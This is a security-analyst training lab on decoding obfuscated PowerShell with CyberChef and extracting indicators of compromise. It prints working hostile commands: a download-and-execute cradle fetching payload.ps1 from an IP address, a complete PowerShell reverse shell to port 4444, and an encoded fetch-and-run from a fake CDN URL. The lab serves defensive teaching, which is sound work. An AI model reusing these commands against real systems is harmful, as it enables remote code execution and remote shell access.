Lab 6.3 — Decode the Payload

Lab Overview

Tool Setup

Open CyberChef in your browser. You'll see three panels:

Click to enlarge

The Scenario

Your Wazuh SIEM flagged a process creation event (Windows Event ID 4688) on a workstation. The command line shows:

powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAyADQANQAuADQAMgAuADEAOQA4AC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

The -Enc flag tells PowerShell to decode and execute the Base64 string. The other flags are also suspicious:

Part 1: Decode the First Payload

Step 1: Decode the Base64

1. In CyberChef, paste ONLY the Base64 string (everything after -Enc):

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAyADQANQAuADQAMgAuADEAOQA4AC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

2. From the Operations panel, drag "From Base64" into the Recipe
3. The output will look garbled — you'll see I.E.X. .(. with dots between characters

Step 2: Handle UTF-16LE Encoding

PowerShell uses UTF-16LE (Little Endian) encoding for its -Enc parameter, not plain ASCII. The dots between characters are null bytes.

1. Remove the "From Base64" operation
2. Instead, drag these operations in order:
   • "From Base64"
   • "Decode text" → set to UTF-16LE (1200)

Now the output should be readable:

IEX (New-Object Net.WebClient).DownloadString('http://192.245.42.198/payload.ps1')

Step 3: Analyze the Decoded Command

Extract these IOCs:

• IP: 192.245.42.198
• URL: http://192.245.42.198/payload.ps1
• File: payload.ps1

Part 2: Decode a More Complex Payload

Real attackers layer their encoding. Here's a more sophisticated sample from a different alert:

powershell.exe -NoP -W Hidden -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgA5ADkALgA5ADkALgA1ADAAJwAsADQANAA0ADQAKQA7ACQAcwA9ACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMALgBSAGUAYQBkACgAJABiACwAMAAsACQAYgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAJABkAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7ACQAcgA9ACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxAHwATwB1AHQALQBTAHQAcgBpAG4AZwApADsAJAByADIAPQAkAHIAKwAnAFAAUwAgACcAKwAoAHAAdwBkACkALgBQAGEAdABoACsAJwA+ACAAJwA7ACQAYgAyAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHIAMgApADsAJABzAC4AVwByAGkAdABlACgAJABiADIALAAwACwAJABiADIALgBMAGUAbgBnAHQAaAApAH0A

Step 4: Apply the Same Recipe

Use the same CyberChef recipe (From Base64 → Decode text UTF-16LE). The decoded output reveals:

$c=New-Object Net.Sockets.TCPClient('10.99.99.50',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$b2=([text.encoding]::ASCII).GetBytes($r2);$s.Write($b2,0,$b2.Length)}

Step 5: Analyze the Reverse Shell

This is a PowerShell reverse shell. Break it down:

Extract these IOCs:

• Internal IP (C2 listener): 10.99.99.50
• Port: 4444 (common Metasploit default)
• Technique: Reverse shell (T1059.001 — PowerShell)

Part 3: URL-Encoded Layer

Sometimes attackers add URL encoding on top of Base64. Decode this string:

powershell%20-Enc%20JABwAD0AJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALQBzAHQAYQB0AGkAYwAuAHUAcABkAGEAdABlAC0AcwBlAHIAdgBpAGMAZQAuAG4AZQB0AC8AYQBzAHMAZQB0AHMALwBmAG8AbgB0AC4AdwBvAGYAZgAnADsASQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABwACkA

Step 6: Chain Three Operations

Build a 3-step CyberChef recipe:

1. URL Decode — removes %20, %2F, etc.
2. Regular Expression — extract just the Base64 string after -Enc
   • Pattern: [A-Za-z0-9+/=]{20,}
3. From Base64 → Decode text (UTF-16LE)

The decoded result reveals a download cradle to https://cdn-static.update-service.net/assets/font.woff — a fake CDN URL disguising malware as a font file.

IOCs:

• Domain: cdn-static.update-service.net
• URL: https://cdn-static.update-service.net/assets/font.woff
• Technique: Masquerading as legitimate CDN content

Click to enlarge

Deliverable

Create a document with:

1. CyberChef Recipes

Screenshot each recipe showing the decoding chain used.

2. Decoded Payload Analysis Table

3. IOC Table

What's Next

Lab 6.4 is the ultimate triage test: the Alert Queue Challenge. You'll face 50 alerts spanning 8 hours of simulated SOC activity and must prioritize, triage, and produce a professional shift handoff note — the skill that separates junior analysts from reliable team members.